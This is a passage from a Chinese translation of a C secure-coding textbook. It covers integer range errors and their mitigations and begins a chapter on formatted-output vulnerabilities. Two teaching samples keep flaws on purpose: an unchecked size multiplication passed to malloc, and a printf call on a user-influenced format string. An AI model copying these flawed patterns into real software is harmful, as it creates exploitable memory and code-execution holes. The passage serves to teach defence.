    {"text": "未知 5.6.2 抽象数据类型 提供更好的类型检查的方法之一是提供更好的类型。例如，使用一个无符号的类型，可以保证变量不包含负值。然而，这种方法并不能防止范围错误。 数据抽象可以用标准和扩展的整数类型无法做到的方式支持数据的范围。虽然C++提供更多的支持，但数据抽象在C中是可能的。例如，使用华氏温标来存储液态形式的水的温度的变量可以声明如下： unsigned char waterTemperature; 使用waterTemperature来表示一个1～255的无符号8位值是足够的：水温范围从华氏32度（凝固点）～华氏212度（沸点）。然而，这种类型不能防止溢出，并且它也允许无效的值（即1～31的值和213～255的值）。 为这种类型建立一个新的typedef是可能的： typedef unsigned char watertemp_t; 然而，typedef从来不创建一种新的类型，只是创建现有类型的一个别名。 因此，声明为watertemp_t的东西的真正类型是unsigned char，所以它完全匹配（这胜过只是兼容）。如果你使用unsigned char类型而不是watertemp_t，但编译器不应该抱怨，一个静态分析工具也不大可能会抱怨，虽然它是可能的。因此，typedef的两个主要好处是可读性和可移植性。size_t类型就是用typedef提高可移植性的一个很好的例子。 一种解决方案是创建一种抽象的类型，其中waterTemperature是私有的，不能直接由用户访问。这个数据抽象的用户只能通过公共方法的调用来访问、更新或操作这个值。这些方法必须通过确保waterTemperature的值不离开有效范围来提供类型安全性（ type safety ）。如果正确地这样做了，就不可能发生整数类型范围错误。 在C++和C中很容易编写这个数据抽象。C程序员可以指定create（）和destroy（）方法，而不是构造函数和析构函数，但无法重新定义运算符。创建可用的数据抽象并不需要继承和C++的其他功能。《C安全编码标准》[Seacord 2008]，“DCL 12-C.使用不透明类型实现抽象数据类型”，介绍使用专用（不透明）的数据类型和信息隐藏创建抽象数据类型。 未知 5.6.3 任意精度算术 任意精度算术有效地提供了一个新的整数类型，其宽度只受主机系统可用内存限制。有很多任意精度算术的包可供使用，尽管它们主要用于科学计算，然而它们也能用于解决由于表示法缺少精度而引起的整数类型范围错误问题。 GNU多精度算术库（GMP） 。GNU多精度算术库（GNU Multiple-Precision Arithmetic library，GMP）是一个用C编写的可移植的库，用于对整数、有理数以及浮点数进行任意精度的算术运算。它设计成为“需要比C基本类型所直接支持的精度更高精度”的应用程序提供尽可能快的算术运算。 GMP对速度的强调高于简单性和优雅性。它使用了复杂的算法，全字（full words）作为基本的算术类型，以及精心优化的汇编代码。 Java BigInteger 。新近版本的Java开发工具包（Java Development Kit，JDK）的java.math包中含有一个BigInteger类。它提供了任意精度的整数，以及与Java所有原始整数操作符类似的操作符。尽管这与C程序员没什么关系，但这例证了语言设计者的理念并非完全不同。 C语言解决方案 。可以通过在编译器的类型系统中添加任意精度的整数来实现一种防止整数算术溢出的语言解决方案。语言解决方案相对于库解决方案的优点，包括以下内容： ·在现有的代码中添加语言解决方案可以与重新编译和测试一样容易。 ·阅读和理解代码会更容易些（不需要学习和理解任何穿插在整个代码中第三方的库函数）。 ·编译器存在（但不要求）优化它的潜力。"},
    {"text": "未知 5.6.4 范围检查 在C中整数范围检查的负担主要留给程序员。作为数组索引的整数应进行范围检查，除非逻辑确保不存在越界的内存访问。 在C中的每一个整数表达式都有一个众所周知的结果类型。正如我们所见，回绕、溢出和转换都可能导致结果超出该类型的范围。对所有可能会导致范围错误的操作都提供范围检查，可能是成问题的，因为一个典型的程序可能有很多这样的操作。检查所有的操作可能导致软件臃肿、难以阅读、执行缓慢，并使用更多的内存。 《C安全编码标准》[Seacord 2008]有一些防止范围错误的规则： INT30-C. 确保无符号整数运算不回绕。 INT31-C. 确保整数的转换不会导致数据丢失或错误解释。 INT32-C. 确保对有符号整数的操作不会导致溢出。 这些规则并不要求消除所有潜在的各种错误。范围错误产生的用于分配或访问内存的整数值比用于其他目的的整数更可能导致一个安全漏洞。例如，INT30-C要求整数值不得回绕，如果它们被用在以下任何方式中： ·在任何指针的算术运算中，包括数组索引 ·作为一个对象的长度或大小（例如，一个可变长度的数组的大小） ·作为访问一个数组的边界（例如，一个循环计数器） ·在size_t或rsize_t类型的函数参数中（例如，作为内存分配函数的参数） ·在安全关键（security-critical）的代码中 例如，下面的函数接受两个参数，分别指定一个给定结构的大小和分配的结构数目。然后，把这两个值相乘来确定分配内存的大小。如果攻击者可以影响这两个值，那么乘法操作就可以很容易地回绕，从而导致一个过小的分配。 1 void* CreateStructs(size_t StructSize, size_t HowMany) { 2 return malloc(StructSize * HowMany); 3 } 在不可能发生范围错误的情况下，提供范围检查是不太重要的。例如，在下面的例子中，没有必要对递增后的i进行范围检查，因为i的逻辑保证不可能出现范围错误并且数组访问将永远不会越界。 1 /* . . . */ 2 char a[RSIZE_MAX]; 3 for (rsize_t i = 0; i < RSIZE_MAX; i++) { 4 a[i] = '\\0'; 5 } 6 /* . . . */ 回绕可能导致数据完整性问题，例如，如果恶意用户违反程序在状态数据上的不变约束。如果数据只被恶意的用户使用，也没有必要保证数据的完整性，虽然对于偶然提供了一个超出范围的值的善意用户，检测和报告错误可能是合适的。 有符号整数溢出是更成问题的，因为它是未定义的行为，可能会导致一个陷阱（例如，在x86-32上的除法错误）。发现和消除有符号整数溢出可能导致一个陷阱（除非陷阱捕获和处理）的情况相当重要。当有符号整数溢出不会导致一个陷阱时，它们应该用与可能会回绕的无符号整数值一致的方式加以处理。 捕获溢出的问题之一是挑剔的溢出（fussy overflow），这是不影响结果值的中间计算溢出。例如，在补码架构中，下面的代码： int x = /* 不确定性值 */; x = x + 100 – 1000; 对于大于INT_MAX-100的x值，会产生溢出，但这个溢出在随后的相减中回到了可表示的范围之内，从而产生正确的、似乎无限范围的整数值。对于小于INT_MIN+900的x值，这种表达式也将产生溢出。大多数编译器将把前面的表达式进行常量折叠从而简化为x-900，以消除挑剔溢出的可能性。然而，在某些情况下，这是不可能的，例如： 1 int x = /* 不确定性值 */; 2 int y = /* 不确定性值 */; 3 x = x + 100 – y; 因为这个表达式不能优化，所以挑剔溢出可能导致一个陷阱，一个潜在的成功操作可能被转换成一个错误情况。 对需要执行的测试数目进行限制的一种方法是，把整数值输入限制于绝不可能导致超出范围的整数值的范围中。所有外部输入应进行评估，以确定是否有可识别的上限和下限。如果是这样，接口应该强制执行这些限制。任何可以用来限制输入过大或过小的整数值的措施都将有助于防止范围错误。此外，纠正由输入范围检查发现的错误比从溢出和其他一些范围错误追溯到故障输入的错误更容易。 可以通过多种机制来实现范围检查： ·添加到现有逻辑的先决条件或后验条件测试 ·打包成可重用库的安全整数操作 ·可用于自动插入范围检查的编译器 在下面各节中分别考察这些方法。"},
    {"text": "未知 5.6.5 前提条件和后验条件测试 消除整数异常情况的方法之一是在操作前测试操作数的值，以防止发生溢出和回绕。对于有符号整数溢出，这个测试特别重要，因为它是未定义的行为，可能会导致某些架构上的陷阱（例如，在x86-32上的除法错误）。这些测试的复杂性有很大差别。 两个无符号整数加法是否回绕的先验条件测试比较简单，如下所示。 1 unsigned int ui1, ui2, usum; 2 /* 初始化 ui1 和 ui2 */ 3 if (UINT_MAX - ui1 < ui2) { 4 /* 处理错误情况 */ 5 } 6 else { 7 usum = ui1 + ui2; 8 } 确保有符号的乘法运算不会导致溢出的严格的符合性测试，明显更为复杂，如下所示。 01 signed int si1, si2, result; 02 /* 初始化 si1 和 si2 */ 03 if (si1 > 0) { 04 if (si2 > 0) { 05 if (si1 > (INT_MAX / si2)) { 06 /* 处理错误情况 */ 07 } 08 } 09 else { 10 if (si2 < (INT_MIN / si1)) { 11 /* 处理错误情况 */ 12 } 13 } 14 } 15 else { 16 if (si2 > 0) { 17 if (si1 < (INT_MIN / si2)) { 18 /* 处理错误情况 */ 19 } 20 } 21 else { 22 if ((si1!=0) && (si2<(INT_MAX/si1))) { 23 /* 处理错误情况 */ 24 } 25 } 26 } 27 result = si1 * si2; 类似的先验测试例子参见《C安全编码标准》[Seacord 2008]，“INT30-C.确保无符号整数运算不产生回绕”，“INT31-C.确保整数的转换不会导致数据丢失或错误解释”和“INT32-C.确保有符号整数的操作不会导致溢出”。 例如，后验条件测试可用于检测无符号整数回绕，因为这些操作被定义为取模行为。可以执行下面的测试，以确保无符号的加法运算结果没有回绕。 1 unsigned int ui1, ui2, usum; 2 3 /* 初始化 ui1 和 ui2 */ 4 5 usum = ui1 + ui2; 6 if (usum < ui1) { 7 /* 处理错误情况 */ 8 } 用这种方式检测范围错误代价可能相对较高，如果代码必须严格符合更是如此。通常情况下，这些检查必须位于可疑的系统调用之前，这些系统调用可能会也可能不会在执行整数运算之前进行类似检查。调用者和被调用者的冗余测试是一种防御性编程风格，而这已经在很大程度上受到了C和C++社区的怀疑。在C和C++中，通常的原则是要求只在各接口的一侧进行验证。 此外，分支在现代的硬件上可能是昂贵的，所以程序员和实现者努力在内循环之外保持分支。这种开销反对要求应用程序的程序员预先测试所有的算术值，以防止极罕见的情况，如溢出。用程序逻辑防止运行时溢出，有时简单，有时复杂，有时是非常困难的。显然，一些溢出的发生，可以用静态分析方法提前诊断。但无论这种分析有多好，一些代码序列仍然不能在运行之前被检测到。在大多数情况下，程序逻辑检测溢出的效率远低于编译器检测的效率。 未知 5.6.6 安全整数库 安全整数库可以用来提供安全的整数运算，它们要么成功，要么报告错误。必须专门开发调用安全整数函数的代码，而不是依赖于内置的操作符。这个成本可能是昂贵的，特别是在要求确保现有代码的安全时。它确实有潜在优势，只在需要时才会插入对安全整数库函数的调用。 Michael Howard编写了部分的安全整数库，可以检测整数溢出情形，这个库使用了特定于机器架构的机制[Howard 2003a]。 Uadd（）函数在x86-32架构中执行两个size_t类型的参数的加法。 01 bool UAdd(size_t a, size_t b, size_t *r) { 02 __asm { 03 mov eax, dword ptr [a] 04 add eax, dword ptr [b] 05 mov ecx, dword ptr [r] 06 mov dword ptr [ecx], eax 07 jc short j1 08 mov al, 1 // 1 是成功 09 jmp short j2 10 j1: 11 xor al, al // 0 是失败 12 j2: 13 }; 14 } 嵌入式Intel汇编指令的使用，阻碍了向其它架构的移植。这种特殊的函数，甚至无法移植到x86-64，因为它假设size_t被实现为一个dword（32位）值。 下面的短程序调用函数Uadd（）来计算两个字符串长度的总和，它使用了适当的错误检查机制。即使对于所得的和加1也可能会引起溢出，因此两个加法运算都需要检查。 01 int main(int argc, char *const *argv) { 02 unsigned int total; 03 if (UAdd(strlen(argv[1]), 1, &total) && 04 UAdd(total, strlen(argv[2]), &total)) { 05 char *buff = (char *)malloc(total); 06 strcpy(buff, argv[1]); 07 strcat(buff, argv[2]); 08 else { 09 abort(); 10 } 11 } Howard方法能用于C程序但有许多问题。嵌入式Intel汇编指令的使用可能会干扰优化，大大增加了整数运算的开销并阻碍其向其他架构的移植。这些问题都可以通过用高性能算法代替汇编指令来解决，如由Henry S.Warren在他的书《高效程序的奥秘》 [1] （Hacker抯Delight）[Warren 2003]中所定义的算法。该库也有一个笨拙的接口，这可以通过返回算术运算的结果和将状态报告机制替换为由ISO/IEC TR 24731-1和C11中定义的运行时约束处理机制得到部分解决。然而，没有操作符重载，而这对用嵌套函数调用来替换普通的内联算术运算很有必要。此外，对利用整数的提升来消除中间操作的溢出的小整数类型相加，也没有很好的解决方案。仅这个问题，就有可能把能够工作的程序变为导致范围错误的程序。 [1] 此书由机械工业出版社出版。书名是《高效程序的奥秘》，书号是9787111141112。—编辑注"},
    {"text": "未知 5.6.7 溢出检测 C标准定义了<fenv.h>头文件来支持浮点异常状态标志、IEC 60559和类似的浮点状态信息所需的定向舍入控制模式。这种支持包括确定哪些浮点异常标志已设置的能力。 一种可能的在C中处理整数异常的解决方案是提供查询函数（就像C为浮点数提供的），询问由执行各种整数操作的（编译器特定的）汇编代码维护的状态标志。如果在一个整数运算后调用查询函数，并返回“无溢出”状态，那么值是可靠、正确地表示的。 在汇编代码的级别，检测溢出的成本是零或接近零。许多架构甚至不具备“把两个数相加，但不设置溢出位或进位”的指令，无论是否需要，检测都会免费发生。但是只有特定的编译器代码生成器知道怎么用那些状态标志。 例如，通过将<fenv.h>头文件翻译成等价的、提供了访问整数异常环境的<ienv.h>头文件，可以定义这些查询函数。这个头文件将支持整数异常状态的标志和类似的整数异常状态信息。 但是，任何可以被一个<ienv.h>接口执行的工作都可以由编译器更好地完成。例如，在某些情况下，编译器可能会选择单个的累计整数异常标志，而在其他时候，选择每一个变量都有一个标志，这取决于所涉及的具体表达式，在速度和存储方面，什么是最有效的。此外，直到ISO/IEC TR 24731-1发布，才有了运行时约束处理程序的概念。因此，C标准委员会在设计<fenv.h>时，定义了一个把所有的负担全丢给程序员的接口。 浮点代码与整数代码的区别在于，它包括如舍入模式等整数不必考虑的概念。此外，浮点具有一个特定值，NaN（Not a Number，非数字），这表示表达式所产生的一种无法表示的值。有时浮点程序员要在产生一个NaN时终止一个计算，而其他时候，他们希望打印出NaN，因为它的存在传达了有价值的信息（且在被打印的一个数组中间可能发生一个NaN，而其余的值是有效结果）。由于NaN和缺乏运行时约束处理器的结合，程序员需要获得更多的控制能力。 在一般情况下，没有NaI（Not an Integer，不是一个整数）值，所以不要求保留这样一个值，以使其能够被打印出来。因此，对每个操作后，是否调用整数运行时约束处理器，程序员并不需要一个精细控制。如果没有这一要求，那么最好保持代码简单，并让编译器做这项工作，它一般可以比单个应用程序的程序员做得更可靠且更有效。 未知 5.6.8 编译器生成的运行时检查 微软Visual Studio运行时错误检查 。Visual Studio 2010和更旧的版本包括可用/RTCc编译标志启用的本机运行时检查，它检测导致数据丢失的赋值。无论何时赋值结果导致数据丢失，此选项都将产生运行时错误，包括强制转换为较小的数据类型，如下所示。 1 int value = /* ... */; 2 unsigned char ch; 3 ch = (unsigned char)value; 使用掩码来强制转换成一个较小的类型并有意清除高位： ch = (unsigned char)(value & 0xFF); Visual Studio 2010中还包括一个runtime_checks pragma，用于禁用或恢复本机运行时检查，但不包括捕捉其他运行时错误的标志，如溢出。 不幸的是，在程序的发行（优化）版构建中运行时错误检查不工作。 GCC-ftrapv标志 。GCC提供了一个-ftrapv编译器选项，该选项对在运行时检测整数溢出提供了有限的支持。GCC运行时系统为使用-ftrapv标志编译的程序生成加法、减法和乘法运算中的有符号溢出的陷阱。这个诱捕是在结果表明整数错误已经发生时，通过调用现有的、可移植的库函数来测试一个操作的后置条件并调用C库abort（）函数来实现的。例如，下面来自GCC运行时系统的函数用来检测有符号的16位整数加法导致的溢出。 1 Wtype __addvsi3(Wtype a, Wtype b) { 2 const Wtype w = a + b; 3 if (b >= 0 ? w < a : w > a) 4 abort (); 5 return w; 6 } 7 } 把两个操作数相加，并用其结果与操作数比较，以确定是否发生了溢出的情况。对于__addvsi3（），如果b为非负，并且w﹤a，那么溢出已经发生且abort（）被调用。同样，如果b是负数且w﹥a，则abort（）也被调用。 -ftrapv选项已知有大量的问题。__addvsi3（）函数需要一个函数调用和条件分支，这在现代硬件上成本是昂贵的。另一种实现测试处理器溢出条件代码，但它需要编写汇编代码且是不可移植的。此外，GCC-ftrapv标志只适用于有符号操作的一个有限子集，并且总是在检测到运行时溢出时产生一个abort（）调用。GCC社区内正在进行讨论如何以一种可靠的、可维护的方式捕获有符号整数溢出。"},
    {"text": "未知 5.6.9 可验证范围操作 比起把超出范围值作为一个错误情况处理，可验证范围操作往往更可取，因为这些错误的处理已被证明会在实际应用中（例如，当一个程序中止）导致拒绝服务的问题。这种不正确处理最典型的例子是阿丽亚娜5型火箭发射失败，这个事故是由于转换错误处理不当，导致处理器被关闭引起的。 一个检测迫在眉睫的整数溢出的程序可以产生陷阱或产生一个在该系统上可表示的整数范围内的整数结果。在某些应用中，特别是在嵌入式系统中，产生可验证范围的结果的处理方式更好，因为它允许计算继续进行，从而避免拒绝服务攻击。然而，当继续产生一个面临溢出的整数结果时，返回给用户什么整数结果必须加以考虑。 饱和（saturation）和取模回绕（modwrap）算法和限制范围内使用的技术产生的整数结果总是在定义的范围内。这个范围位于整数值MIN和MAX（含）之间，这里MIN和MAX是两个可表示的整数，且MIN比MAX小。 饱和语义 。假设用result表示数学的计算结果，表5.12展示了返回给用户的实际值。 表5.12 通过result返回给用户的值 在C标准中，有符号整数溢出产生未定义的行为，这意味着允许任何行为。因此，产生一个饱和的MAX或MIN结果也是允许的。提供无符号整数的饱和语义需要修改标准。对于有符号和无符号整数，目前还没有办法请求一个饱和的结果。如果一个新的标准pragma如_Pragma（STDC SAT）被添加到C标准，就可以在不影响现有的代码的情况下提供饱和语义。 虽然饱和语义对于某些应用可能是合适的，但在用异常的整数值表示攻击的安全关键代码中，它并不总是适当的。 取模回绕语义 。在取模回绕语义（也称为模算术）中，整数值“回绕”。也就是说，MAX加1产生MIN。这是在C标准中定义的无符号整数的行为。这经常也是有符号整数的行为。然而，在许多应用中使用饱和语义代替取模回绕语义是比较明智的。例如，在计算大小（使用无符号整数）时，在溢出事件中把大小留在最大值往往比突然成为一个很小的值更好。 限制范围使用 。避免整数溢出的另一个工具是只使用有符号整数的一半范围。例如，当使用int时，仅使用范围[INT_MIN/2，INT_MAX/2]。这一方式在Fortran语言行业中已经使用一段时间了，现在优化的C编译器正变得越来越复杂，在C中它可能是有价值的。 考虑减法运算。如果用户键入表达式a-b，其中a和b的取值范围都为[INT_MIN/2.INT_MAX/2]，那么对于一个典型的用补码表示的机器，结果将在[INT_MIN.INT_MAX]范围内。 现在，如果用户键入a﹤b，则往往会发生一个隐式的减法。在没有条件代码的机器上，编译器可能只是发出减法指令，并检查结果是否为负。这是允许的，因为允许编译器假设没有溢出。如果所有明确由用户生成的值保持在区间[INT_MIN/2.INT_MAX/2]内，那么比较总是会工作，即使编译器在这样的硬件上执行了此优化。 未知 5.6.10 仿佛无限范围整数模型 为了使程序行为与程序员常用的数学推理有更大的一致性，仿佛无限范围（As-If Infinitely Ranged，AIR）整数模型保证，要么整数值相当于使用无限范围的整数得到的，要么就发生运行时异常。由此产生的系统比较容易分析，因为不确定的行为已被定义且分析者（工具或人）可以安全地假定整数运算结果是一个AIR值或陷阱。该模型适用于有符号和无符号整数，尽管每种都可以使用编译器选项按编译单元启用或禁用。 陷阱是通过调用运行时约束处理器或通过使用现有的硬件陷阱（如被零除）调用运行时约束处理器实现的。这些运行时约束处理器与C11标准附录K中定义的边界检查接口的使用相同。可定制运行时约束处理器以执行任何操作。例如，它们可以，调用abort（）、记录该错误，或设置一个标志，并继续（使用产生的不确定的值）。 在AIR整数模型中，延迟捕捉一个不正确表示的值，直到达到一个观测点或在它会导致严重的未定义的行为之前才捕获它，是可以接受的。观察点发生在输出中，包括对象的访问违例。陷阱可能发生在溢出或截断和输出或严重的未定义行为之间的任何时间。这种模型在不牺牲安全性和安全性的前提下提高了编译器优化能力。AIR整数不能区分错误的溢出和“挑剔”的溢出，这可能会导致一些误报，并需要重构原本正确的代码。 严重的未定义行为是区分可以执行越界保存和那些不能执行这种保存的行为的一种手段。越界保存在C11标准附录L中被定义为“在运行时，对于一个给定的计算状态，修改（或者，获取一个声明为volatile的对象）本标准所允许的范围之外的1个或多个字节的（未遂）一个存取（3.1）”。C11附录L还列出了具体的、严重的未定义行为。 在AIR整数模型中，假设没有陷阱被禁用，而且没有陷阱被触发，当达到一个观测点，并在任何严重的未定义行为发生之前，输出中的任何整数值都被正确地表示（“仿佛无限范围”）。假设不违背该模型，那么就鼓励优化。 在模型中包含所有的整数运算。指针的算术运算（会产生一个指针）不是AIR整数模型的一部分，但可以用有安全保证（Safe-Secure）的C/C++方法检查。"},
    {"text": "未知 5.6.11 测试与分析 静态分析 。静态分析，无论是由编译器还是一个静态分析仪执行的，都可用于检测源代码中潜在的整数范围错误。这些问题一旦被确定，就可以通过使用适当的整数类型或添加逻辑修改你的程序，以确保可能值的范围在你所使用的类型范围内，从而修正它们。静态分析容易产生误报（false positive）。误报是被编译器或分析仪错误地诊断为错误的编程结构。提供既可靠（无漏报）又完备（无误报）的分析是很难（或不可能）的。出于这个原因，不能指望静态分析找出所有可能的范围错误。一些静态分析工具会尽量减少漏报，但这经常导致大量的误报。其他静态分析工具会尽量减少误报，但经常导致大量的漏报。你可能需要试验各种编译器设置和静态分析仪，以确定哪些工具最适合你。 许多静态分析工具，能比溢出或回绕更好地诊断出潜在转换误差。免费提供的开源静态分析工具的两个例子是ROSE和 Splint。 ROSE。 ROSE是一个开源编译器基础设施，用于为大规模Fortran 77/95/2003、C、C++、OpenMP和UPC应用程序构建源程序到源程序的转换和分析工具。ROSE的预期用户既可能是经验丰富的编译器研究员，也可能是有最低限度编译器经验的库和工具开发者。ROSE特别适合于为静态分析、程序优化、任意程序变换、特定于域的优化、复杂的循环优化、性能分析和网络安全构建自定义工具。 CERT已开发了ROSE检测器来检测和报告违反“CERT C安全编码指南”的情况。可以从SourceForge上的CERT ROSE Checkers项目下载这些检测器。 [1] Splint。 Splint是用于静态检查C程序中的安全漏洞和编码错误的一种工具。Splint采用轻量级的静态分析来检测程序中可能的漏洞。Splint的分析与由编译器执行的分析相似，并且可以通过利用添加到程序的注释，检测各种各样的实现缺陷。 Microsoft Visual Studio。 当把一个整数值赋值给一个较小的整数类型时，Visual Studio 2012和更旧的版本生成一个警告（C4244）： 'conversion' conversion from 'type1' to 'type2', possible loss of data 如果type1是int且type2比int小，则是一个4级警告。否则，它是一个3级警告（把一个类型__int64的值赋值给unsigned int型的变量）。 下面的程序片段会产生C4244警告： 01 // C4244_level4.cpp 02 // compile with: /W4 03 int aa; 04 unsigned short bb; 05 int main(void) { 06 int b = 0, c = 0; 07 short a = b + c; // C4244 08 bb += c; // C4244 09 bb = bb + c; // C4244 10 } 测试 。对输入的整数值进行检查仅仅是一个良好的开端，但这并不能保证对这些整数后继的操作中不会引起溢出或其他错误。不幸的是，测试也不能提供任何保证。除非程序很简单，否则想要覆写所有可能的输入是不可能的。 如果运用得当的话，测试能够增加代码安全的信心。例如，整数漏洞测试应该涵盖所有整数类型变量的边界条件。如果类型范围检查被内嵌到代码中，即可测试它们针对整数上下界是否可以正确地发挥功能。如果没有包含边界测试，就检测每一个整数类型所能使用的最大值和最小值。可以用白盒测试决定应该使用什么类型的变量。如果得不到源代码，可以用各种整数类型的最大值和最小值进行测试。 在C和C++中操纵以空字符结尾的字节串时，大多数整数异常造成的漏洞表现为缓冲区溢出。Fang Yu、Tevfik Bultan和Oscar Ibarra提出了基于自动机的复合符号验证技术，这种技术结合了字符串分析和大小分析，侧重于静态识别在程序某处所有可能长度的字符串表达式，来消除缓冲区溢出错误[Yu 2009]。这种技术避免运行时检查的需要，如果进行检查的时间可以顺利地由预期运行时调用的次数分摊，那么这是一个优势。运行时属性检查（如由AIR整数实现的）检查程序执行是否满足某个属性。活跃属性检查通过确定该属性是否满足所有遵循相同程序路径的程序执行，扩展了运行时检查。 源代码审查 。必须对源代码进行审查，以发现可能存在的整数范围错误。以下是应该审查的项目。 ·整数变量的类型是正确的。 ·对整数类型范围进行彻底地检查。 ·根据输入值的预期使用情况检查它们是否被约束在有效范围之内。 ·值不能为负的整数（例如作为索引、大小以及循环计数器的整数）应该被声明为无符号型并对上下界进行适当的范围检查。 [1] 参见http://sourceforge.net/projects/rosecheckers/。"},
    {"text": "未知 5.7 小结 整数漏洞由数据丢失或者错误的表示所产生。防止这些整数漏洞发生的关键在于理解数字系统中这些整数行为的细微差异，并且在系统设计和实现过程中谨慎地应用这些知识。 限制整数的输入使其处于一个有效的范围内，可以阻止那些可能引起整数类型溢出的非常大或非常小的数据进入系统。很多整数输入（例如一个表示日期或月份的整数）都有明确的范围定义，其他的整数则拥有一个合理的上、下限。例如，由于大家都知道全世界最长寿的人Jeanne Calment活了122岁，因此，我们完全可以将一个表示人的年龄的整数输入限制为0～150。对于某些整数来说，可能很难建立一个上限。由于易用性会鼓励采用无限制的范围，因此有时会在易用性和安全性之间作出权衡。然而，如果决定接受任意大小的整数，就必须确保针对这些值的操作不会引起整数错误并进而造成整数漏洞。 确保对整数的操作不会造成整数错误需要周详的考虑。类似于Ada那样的编程语言在保证整数类型范围方面做了很好的工作。不过，如果你正在阅读本书，你应该不是在使用Ada编程。理想情况下，某一天C编译器会提供编译选项以生成代码来检查溢出的情况。但在那一天到来之前，使用本章讨论的范围检查机制之一作为安全网，还是一个不错的主意。 一如既往地利用现有的工具、过程和技术来发现和防止整数漏洞是非常有意义的。静态分析和代码审核对于发现错误非常有效。源代码审核还为开发者提供了一种论坛，用来讨论什么会、什么不会造成安全缺陷，并考虑可能的解决方案。动态分析工具与测试相结合使用，可以作为质量保证过程的一部分，尤其是当边界条件可被正确地评估出来的时候。 如果正确地应用了整数类型范围检查，并且对某些可能超出范围的值（尤其是来自外部的操作）采用安全整数操作，完全有可能避免由整数范围错误所导致的漏洞。 未知 第6章 格式化输出 Catherine:“Why commit Evil?” Gtz:“Because Good has already been done.” Catherine:“Who has done it?” Gtz:“God the Father. I.on the other hand.am improvising.” —Jean-Paul Sartre.The Devil and the Good Lord.act IV.scene4 C标准中定义了一些可以接受可变数量参数的格式化输出函数，参数中包括一个格式字符串 [1] 。printf（）和sprintf（）都是格式化输出函数的例子。 例6.1展示了一个C程序，它使用格式化输出函数提供当前未提的而所需的实参的使用信息。由于可执行文件可能会被重命名，因此程序的实际名字由用户输入（argv[0]），并作为参数传递给main（）函数中第13行的usage（）函数。当snprintf（）在第6行被调用时，pname的运行时值将替换格式字符串中的%s从而构造用法字符串（usage string）。最后，在第8行调用printf（）函数输出使用信息。 例6.1 打印使用信息 01 #include <stdio.h> 02 #include <string.h> 03 04 void usage(char *pname) { 05 char usageStr[1024]; 06 snprintf(usageStr, 1024, 07 \"Usage: %s <target>\\n\", pname); 08 printf(usageStr); 09 } 10 11 int main(int argc, char * argv[]) { 12 if (argc > 0 && argc < 2) { 13 usage(argv[0]); 14 exit(-1); 15 } 16 } 这段程序实现了一个常见的编程惯用法，尤其是对于UNIX命令行程序的情形，然而，这一实现是有缺陷的，它可能会被利用以执行任意的代码。这是如何实现的呢（提示：此问题与缓冲区溢出无关）。 格式化输出函数是由一个格式字符串和可变数目的参数构成的。在效果上，格式化字符串提供了一组可以由格式化输出函数解释执行的指令。因此，用户可以通过控制格式字符串的内容来控制格式化输出函数的执行。 格式化输出函数是一个变参函数，也就是说它接受的参数个数是可变的。变参函数在C语言中实现的局限性导致格式化输出函数的使用中容易产生漏洞。在细致考察格式化输出函数之前，在接下来的一节中我们首先看一看变参函数。 [1] 格式化输出源自Fortran，并于1972 年作为可移植I/O 包成为C 的一部分。1997 年M. E. Lesk 在内部备忘录“A Portable I/O package”中对此进行了描述。这个包后来被重写并成为C 标准I/O 函数。"},
    {"text": "未知 6.1 变参函数 <stdarg.h>头文件声明了一种类型并定义了四个宏，用于传递一组参数列表，在编译时被调用的函数对这些参数的数量和类型是不了解的。POSIX定义了传统头文件<varargs.h>，其历史可以追溯到标准化之前的C，它提供了类似<stdarg.h>[ISO/IEC/IEEE 9945:2009]的功能。旧的<varargs.h>头文件现已被废弃，取代它的是<stdarg.h>。两种方式都要求变参函数的用户不违反开发者与用户之间的契约。下面描述这个较新的C标准版本。 变参函数是通过使用一个部分参数列表后跟一个省略号进行声明的。例如，例6.2所示的变参函数average（）接受一个定参（fixed argument），其后跟着一个变参列表。对该变参列表中的参数不会执行任何类型检查。省略号之前通常有一个或多个定参，而省略号则必须出现在参数列表的最后。 例6.2 average（）变参函数的实现 01 int average(int first, ...) { 02 int count = 0, sum = 0, i = first; 03 va_list marker; 04 05 va_start(marker, first); 06 while (i != -1) { 07 sum += i; 08 count++; 09 i = va_arg(marker, int); 10 } 11 va_end(marker); 12 return(sum ? (sum / count) : 0); 13 } 若要调用一个变参函数，仅需指定该次调用中所需数目的参数即可： average(3, 5, 8, -1); 例6.3中展示的用于实现变参函数的宏va_start（）、va_arg（）和va_end（）以及未在此例子中展示的宏va_copy（）都在头文件<stdarg.h>中定义，它们全部作用于va_list数据类型以及使用va_list类型声明的参数列表之上。例如，例6.2中第3行的变量marker就被声明为va_list类型。在使用变量marker之前，首先必须调用va_start（）对参数列表进行初始化。在average（）的实现中，第5行调用了va_start（）并且传递参数marker及最后一个定参（first）。这个定参允许va_start（）决定第一个变参的位置。宏va_arg（）需要一个已初始化的va_list和下一个参数的类型。这个宏可以根据类型的大小返回下一个参数，并且相应地递增参数指针。average（）第9行调用va_arg（）宏，访问第2个直至最后一个参数。最后，在函数返回之前，调用va_end（）来执行任何必要的清理工作。若在返回前未调用va_end（）宏，则行为是未定义的。 参数列表的终止条件是函数的实现者和使用者之间的一个契约。在函数average（）的实现中，变参列表的终止是由一个值为–1的参数所指定的。如果程序员在调用该函数时忘记传入这个特殊的参数，则函数将继续处理下一个参数，直到遇到–1或者发生错误为止。 例6.3展示了Visual C++实现的va_list类型以及va_start（）、va_arg（）、va_end（）宏 [1] 。将va_list类型定义成一个字符指针，是一个显而易见的按序参数（sequentially ordered arguments）实现（就像x86-32上的Visual C++和GCC所生成的那样）。 例6.3 可变参数宏定义示例 1 #define _ADDRESSOF(v) (&(v)) 2 #define _INTSIZEOF(n) \\ 3 ((sizeof(n)+sizeof(int)-1) & ~(sizeof(int)-1)) 4 typedef char *va_list; 5 #define va_start(ap,v) (ap=(va_list)_ADDRESSOF(v)+_INTSIZEOF(v)) 6 #define va_arg(ap,t) (*(t *)((ap+=_INTSIZEOF(t))-_INTSIZEOF(t))) 7 #define va_end(ap) (ap = (va_list)0) 图6.1展示了在这些系统中调用函数average（3,5,8,-1）时，参数被如何按序安排在栈上。在用va_start（）初始化字符指针后，字符指针指向最后一个定参之后的那个参数。va_start（）宏将该参数的大小加上最后一个定参的地址。当va_start（）返回时，va_list将指向第一个可选参数的地址。 图6.1 采用字符指针定义的va_list类型 并不是所有系统都把va_list类型定义成字符指针。一些系统将其定义成指针数组，另外一些系统则把它放在寄存器中作为参数传递。当参数在寄存器中传递时，va_start（）不得不为它们分配内存空间。在这种情况下，宏va_end（）就被用来释放分配的内存空间。 参数传递和命名约定 下面是Visual C++支持的调用约定。 __cdecl 